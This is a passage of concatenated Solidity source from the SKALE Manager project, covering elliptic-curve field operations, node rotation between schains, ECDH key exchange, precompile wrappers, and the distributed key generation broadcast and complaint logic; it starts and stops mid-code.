mulmod(value.a, t3, p); result.b = (p - mulmod(value.b, t3, p)).mod(p); } function isEqual( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (bool) { return value1.a == value2.a && value1.b == value2.b; } } library G1Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 1, b: 2 }); } function isG1Point(uint x, uint y) internal pure returns (bool) { uint p = Fp2Operations.P; return mulmod(y, y, p) == addmod(mulmod(mulmod(x, x, p), x, p), 3, p); } function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return isG1Point(point.a, point.b); } function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return point.a < Fp2Operations.P && point.b < Fp2Operations.P; } function negate(uint y) internal pure returns (uint) { return Fp2Operations.P.sub(y).mod(Fp2Operations.P); } } library G2Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; struct G2Point { Fp2Operations.Fp2Point x; Fp2Operations.Fp2Point y; } function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 19485874751759354771024239261021720505790618469301721065564631296452457478373, b: 266929791119991161246907387137283842545076965332900288569378510910307636690 }); } function getG2Generator() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 10857046999023057135944570762232829481370756359578518086990519993285655852781, b: 11559732032986387107991004021392285783925812861821192530917403151452391805634 }), y: Fp2Operations.Fp2Point({ a: 8495653923123431417604973247489272438418190587263600148770280649306958101930, b: 4082367875863433681332203403145435568316851327593401208105741076214120093531 }) }); } function getG2Zero() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 0, b: 0 }), y: Fp2Operations.Fp2Point({ a: 1, b: 0 }) }); } function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) { if (isG2ZeroPoint(x, y)) { return true; } Fp2Operations.Fp2Point memory squaredY = y.squaredFp2(); Fp2Operations.Fp2Point memory res = squaredY.minusFp2( x.squaredFp2().mulFp2(x) ).minusFp2(getTWISTB()); return res.a == 0 && res.b == 0; } function isG2(G2Point memory value) internal pure returns (bool) { return isG2Point(value.x, value.y); } function isG2ZeroPoint( Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y ) internal pure returns (bool) { return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0; } function isG2Zero(G2Point memory value) internal pure returns (bool) { return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0; // return isG2ZeroPoint(value.x, value.y); } function addG2( G2Point memory value1, G2Point memory value2 ) internal view returns (G2Point memory sum) { if (isG2Zero(value1)) { return value2; } if (isG2Zero(value2)) { return value1; } if (isEqual(value1, value2)) { return doubleG2(value1); } Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2()); sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x)); sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x))); uint p = Fp2Operations.P; sum.y.a = (p - sum.y.a).mod(p); sum.y.b = (p - sum.y.b).mod(p); } function isEqual( G2Point memory value1, G2Point memory value2 ) internal pure returns (bool) { return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y); } function doubleG2(G2Point memory value) internal view returns (G2Point memory result) { if (isG2Zero(value)) { return value; } else { Fp2Operations.Fp2Point memory s = value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2()); result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x)); result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x))); uint p = Fp2Operations.P; result.y.a = (p - result.y.a).mod(p); result.y.b = (p - result.y.b).mod(p); } } } // SPDX-License-Identifier: AGPL-3.0-only /* NodeRotation.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Schains.sol"; /** * @title NodeRotation * @dev This contract handles all node rotation functionality. */ contract NodeRotation is Permissions { using Random for Random.RandomGenerator; /** * nodeIndex - index of Node which is in process of rotation (left from schain) * newNodeIndex - index of Node which is rotated(added to schain) * freezeUntil - time till which Node should be turned on * rotationCounter - how many rotations were on this schain */ struct Rotation { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; } struct LeavingHistory { bytes32 schainIndex; uint finishedRotation; } mapping (bytes32 => Rotation) public rotations; mapping (uint => LeavingHistory[]) public leavingHistory; mapping (bytes32 => bool) public waitForNewNode; bytes32 public constant DEBUGGER_ROLE = keccak256("DEBUGGER_ROLE"); modifier onlyDebugger() { require(hasRole(DEBUGGER_ROLE, msg.sender), "DEBUGGER_ROLE is required"); _; } /** * @dev Allows SkaleManager to remove, find new node, and rotate node from * schain. * * Requirements: * * - A free node must exist. */ function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainHash = schainsInternal.getActiveSchain(nodeIndex); if (schainHash == bytes32(0)) { return (true, false); } _startRotation(schainHash, nodeIndex); rotateNode(nodeIndex, schainHash, true, false); return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true); } /** * @dev Allows SkaleManager contract to freeze all schains on a given node. */ function freezeSchains(uint nodeIndex) external allow("SkaleManager") { bytes32[] memory schains = SchainsInternal( contractManager.getContract("SchainsInternal") ).getSchainHashsForNode(nodeIndex); for (uint i = 0; i < schains.length; i++) { if (schains[i] != bytes32(0)) { require( ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]), "DKG did not finish on Schain" ); if (rotations[schains[i]].freezeUntil < now) { _startWaiting(schains[i], nodeIndex); } else { if (rotations[schains[i]].nodeIndex != nodeIndex) { revert("Occupied by rotation on Schain"); } } } } } /** * @dev Allows Schains contract to remove a rotation from an schain. */ function removeRotation(bytes32 schainIndex) external allow("Schains") { delete rotations[schainIndex]; } /** * @dev Allows Owner to immediately rotate an schain. */ function skipRotationDelay(bytes32 schainIndex) external onlyDebugger { rotations[schainIndex].freezeUntil = now; } /** * @dev Returns rotation details for a given schain. */ function getRotation(bytes32 schainIndex) external view returns (Rotation memory) { return rotations[schainIndex]; } /** * @dev Returns leaving history for a given node. */ function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } function isRotationInProgress(bytes32 schainIndex) external view returns (bool) { return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex]; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an * schain. */ function rotateNode( uint nodeIndex, bytes32 schainHash, bool shouldDelay, bool isBadNode ) public allowTwo("SkaleDKG", "SkaleManager") returns (uint newNode) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); schainsInternal.removeNodeFromSchain(nodeIndex, schainHash); if (!isBadNode) { schainsInternal.removeNodeFromExceptions(schainHash, nodeIndex); } newNode = selectNodeToGroup(schainHash); Nodes(contractManager.getContract("Nodes")).addSpaceToNode( nodeIndex, schainsInternal.getSchainsPartOfNode(schainHash) ); _finishRotation(schainHash, nodeIndex, newNode, shouldDelay); } /** * @dev Allows SkaleManager, Schains, and SkaleDKG contracts to * pseudo-randomly select a new Node for an Schain. * * Requirements: * * - Schain is active. * - A free node already exists. * - Free space can be allocated from the node. */ function selectNodeToGroup(bytes32 schainHash) public allowThree("SkaleManager", "Schains", "SkaleDKG") returns (uint nodeIndex) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(schainsInternal.isSchainActive(schainHash), "Group is not active"); uint8 space = schainsInternal.getSchainsPartOfNode(schainHash); schainsInternal.makeSchainNodesInvisible(schainHash); require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes available for rotation"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainHash) ); nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex"); schainsInternal.makeSchainNodesVisible(schainHash); schainsInternal.addSchainForNode(nodeIndex, schainHash); schainsInternal.setException(schainHash, nodeIndex); schainsInternal.setNodeInGroup(schainHash, nodeIndex); } /** * @dev Initiates rotation of a node from an schain. */ function _startRotation(bytes32 schainIndex, uint nodeIndex) private { rotations[schainIndex].newNodeIndex = nodeIndex; waitForNewNode[schainIndex] = true; } function _startWaiting(bytes32 schainIndex, uint nodeIndex) private { ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay()); } /** * @dev Completes rotation of a node from an schain. */ function _finishRotation( bytes32 schainIndex, uint nodeIndex, uint newNodeIndex, bool shouldDelay) private { leavingHistory[nodeIndex].push( LeavingHistory( schainIndex, shouldDelay ? now.add( ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() ) : now ) ); rotations[schainIndex].newNodeIndex = newNodeIndex; rotations[schainIndex].rotationCounter++; delete waitForNewNode[schainIndex]; ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex); } /** * @dev Checks whether a rotation can be performed. * * Requirements: * * - Schain must exist. */ function _checkRotation(bytes32 schainHash ) private view returns (bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainExist(schainHash), "Schain does not exist for rotation"); return schainsInternal.isAnyFreeNode(schainHash); } } // SPDX-License-Identifier: AGPL-3.0-only /* ISkaleDKG.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface to {SkaleDKG}. */ interface ISkaleDKG { /** * @dev See {SkaleDKG-openChannel}. */ function openChannel(bytes32 schainHash) external; /** * @dev See {SkaleDKG-deleteChannel}. */ function deleteChannel(bytes32 schainHash) external; /** * @dev See {SkaleDKG-isLastDKGSuccessful}. */ function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool); /** * @dev See {SkaleDKG-isChannelOpened}. */ function isChannelOpened(bytes32 schainHash) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later /* Modifications Copyright (C) 2018 SKALE Labs ec.sol by @jbaylina under GPL-3.0 License */ /** @file ECDH.sol * @author Jordi Baylina (@jbaylina) * @date 2016 */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title ECDH * @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to * support the DKG process. */ contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; // we use (0 0 1) as zero point, z always equal 1 if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } // we use (0 0 1) as zero point, z always equal 1 if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); } else { (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } // SPDX-License-Identifier: AGPL-3.0-only /* Precompiled.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library Precompiled { function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = modulus; uint[1] memory out; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) { uint[3] memory inputToMul; uint[2] memory output; inputToMul[0] = x; inputToMul[1] = y; inputToMul[2] = k; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40) } require(success, "Multiplication failed"); return (output[0], output[1]); } function bn256Pairing( uint x1, uint y1, uint a1, uint b1, uint c1, uint d1, uint x2, uint y2, uint a2, uint b2, uint c2, uint d2) internal view returns (bool) { bool success; uint[12] memory inputToPairing; inputToPairing[0] = x1; inputToPairing[1] = y1; inputToPairing[2] = a1; inputToPairing[3] = b1; inputToPairing[4] = c1; inputToPairing[5] = d1; inputToPairing[6] = x2; inputToPairing[7] = y2; inputToPairing[8] = a2; inputToPairing[9] = b2; inputToPairing[10] = c2; inputToPairing[11] = d2; uint[1] memory out; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgBroadcast.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../KeyStorage.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgBroadcast * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgBroadcast { using SafeMath for uint; /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainHash, uint indexed fromNode, G2Operations.G2Point[] verificationVector, SkaleDKG.KeyShare[] secretKeyContribution ); /** * @dev Broadcasts verification vector and secret key contribution to all * other nodes in the group. * * Emits BroadcastAndKeyShare event. * * Requirements: * * - `msg.sender` must have an associated node. * - `verificationVector` must be a certain length. * - `secretKeyContribution` length must be equal to number of nodes in group. */ function broadcast( bytes32 schainHash, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { uint n = channels[schainHash].n; require(verificationVector.length == getT(n), "Incorrect number of verification vectors"); require( secretKeyContribution.length == n, "Incorrect number of secret key shares" ); (uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup( schainHash, nodeIndex, true ); require(!dkgProcess[schainHash].broadcasted[index], "This node has already broadcasted"); dkgProcess[schainHash].broadcasted[index] = true; dkgProcess[schainHash].numberOfBroadcasted++; if (dkgProcess[schainHash].numberOfBroadcasted == channels[schainHash].n) { SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainHash); } hashedData[schainHash][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData( secretKeyContribution, verificationVector ); KeyStorage(contractManager.getContract("KeyStorage")).adding(schainHash, verificationVector[0]); emit BroadcastAndKeyShare( schainHash, nodeIndex, verificationVector, secretKeyContribution ); } function getT(uint n) public pure returns (uint) { return n.mul(2).add(1).div(3); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgComplaint.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../ConstantsHolder.sol"; import "../Wallets.sol"; import "../Nodes.sol"; /** * @title SkaleDkgComplaint * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgComplaint { using SafeMath for uint; /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainHash, uint indexed fromNodeIndex, uint indexed toNodeIndex); /** * @dev Creates a complaint from a node (accuser) to a given node. * The accusing node must broadcast additional parameters within 1800 blocks. * * Emits {ComplaintSent} or {ComplaintError} event. * * Requirements: * * - `msg.sender` must have an associated node. */ function complaint( bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainHash, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainHash, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainHash, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); } else { // not broadcasted in 30 min _handleComplaintWhenNotBroadcasted(schainHash, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainHash, toNodeIndex); } function complaintBadData( bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainHash, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainHash, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainHash, fromNodeIndex), "Node has already sent alright"); if (complaints[schainHash].nodeToComplaint == uint(-1)) { complaints[schainHash].nodeToComplaint = toNodeIndex; complaints[schainHash].fromNodeToComplaint = fromNodeIndex; complaints[schainHash].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainHash, fromNodeIndex, toNodeIndex); } else { emit ComplaintError("First complaint has already been processed"); } } function _handleComplaintWhenBroadcasted( bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); // missing alright if (complaints[schainHash].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainHash) && !skaleDKG.isAllDataReceived(schainHash, toNodeIndex) && startAlrightTimestamp[schainHash].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { // missing alright skaleDKG.finalizeSlashing(schainHash, toNodeIndex); return; } else if (!skaleDKG.isAllDataReceived(schainHash, fromNodeIndex)) { // incorrect data skaleDKG.finalizeSlashing(schainHash, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; } else if (complaints[schainHash].nodeToComplaint == toNodeIndex) { // 30 min after incorrect data complaint if (complaints[schainHash].startComplaintBlockTimestamp.add( _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainHash, complaints[schainHash].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainHash, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainHash].startedBlockTimestamp.add( _getComplaintTimelimit(contractManager) ) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainHash, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgPreResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgPreResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgPreResponse { using SafeMath for uint; using G2Operations for G2Operations.G2Point; function preResponse( bytes32 schainHash, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); uint index = _preResponseCheck( schainHash, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, skaleDKG, complaints, hashedData ); _processPreResponse(secretKeyContribution[index].share, schainHash, verificationVectorMult, complaints); } function _preResponseCheck( bytes32 schainHash, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, SkaleDKG skaleDKG, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) private view returns (uint index) { (uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainHash, fromNodeIndex, true); require(complaints[schainHash].nodeToComplaint == fromNodeIndex, "Not this Node"); require(!complaints[schainHash].isResponse, "Already submitted pre response data"); require( hashedData[schainHash][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector), "Broadcasted Data is not correct" ); require( verificationVector.length == verificationVectorMult.length, "Incorrect length of multiplied verification vector" ); (index, ) = skaleDKG.checkAndReturnIndexInGroup(schainHash, complaints[schainHash].fromNodeToComplaint, true); require( _checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult), "Multiplied verification vector is incorrect" ); } function _processPreResponse( bytes32 share, bytes32 schainHash, G2Operations.G2Point[] memory verificationVectorMult, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private { complaints[schainHash].keyShare = share; complaints[schainHash].sumOfVerVec = _calculateSum(verificationVectorMult); complaints[schainHash].isResponse = true; } function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult) private view returns (G2Operations.G2Point memory) { G2Operations.G2Point memory value = G2Operations.getG2Zero(); for (uint i = 0; i < verificationVectorMult.length; i++) { value = value.addG2(verificationVectorMult[i]); } return value; } function _checkCorrectVectorMultiplication( uint indexOnSchain, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult ) private view returns (bool) { Fp2Operations.Fp2Point memory value = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator(); for (uint i = 0; i < verificationVector.length; i++) { (tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i); if (!_checkPairing(tmp, verificationVector[i], 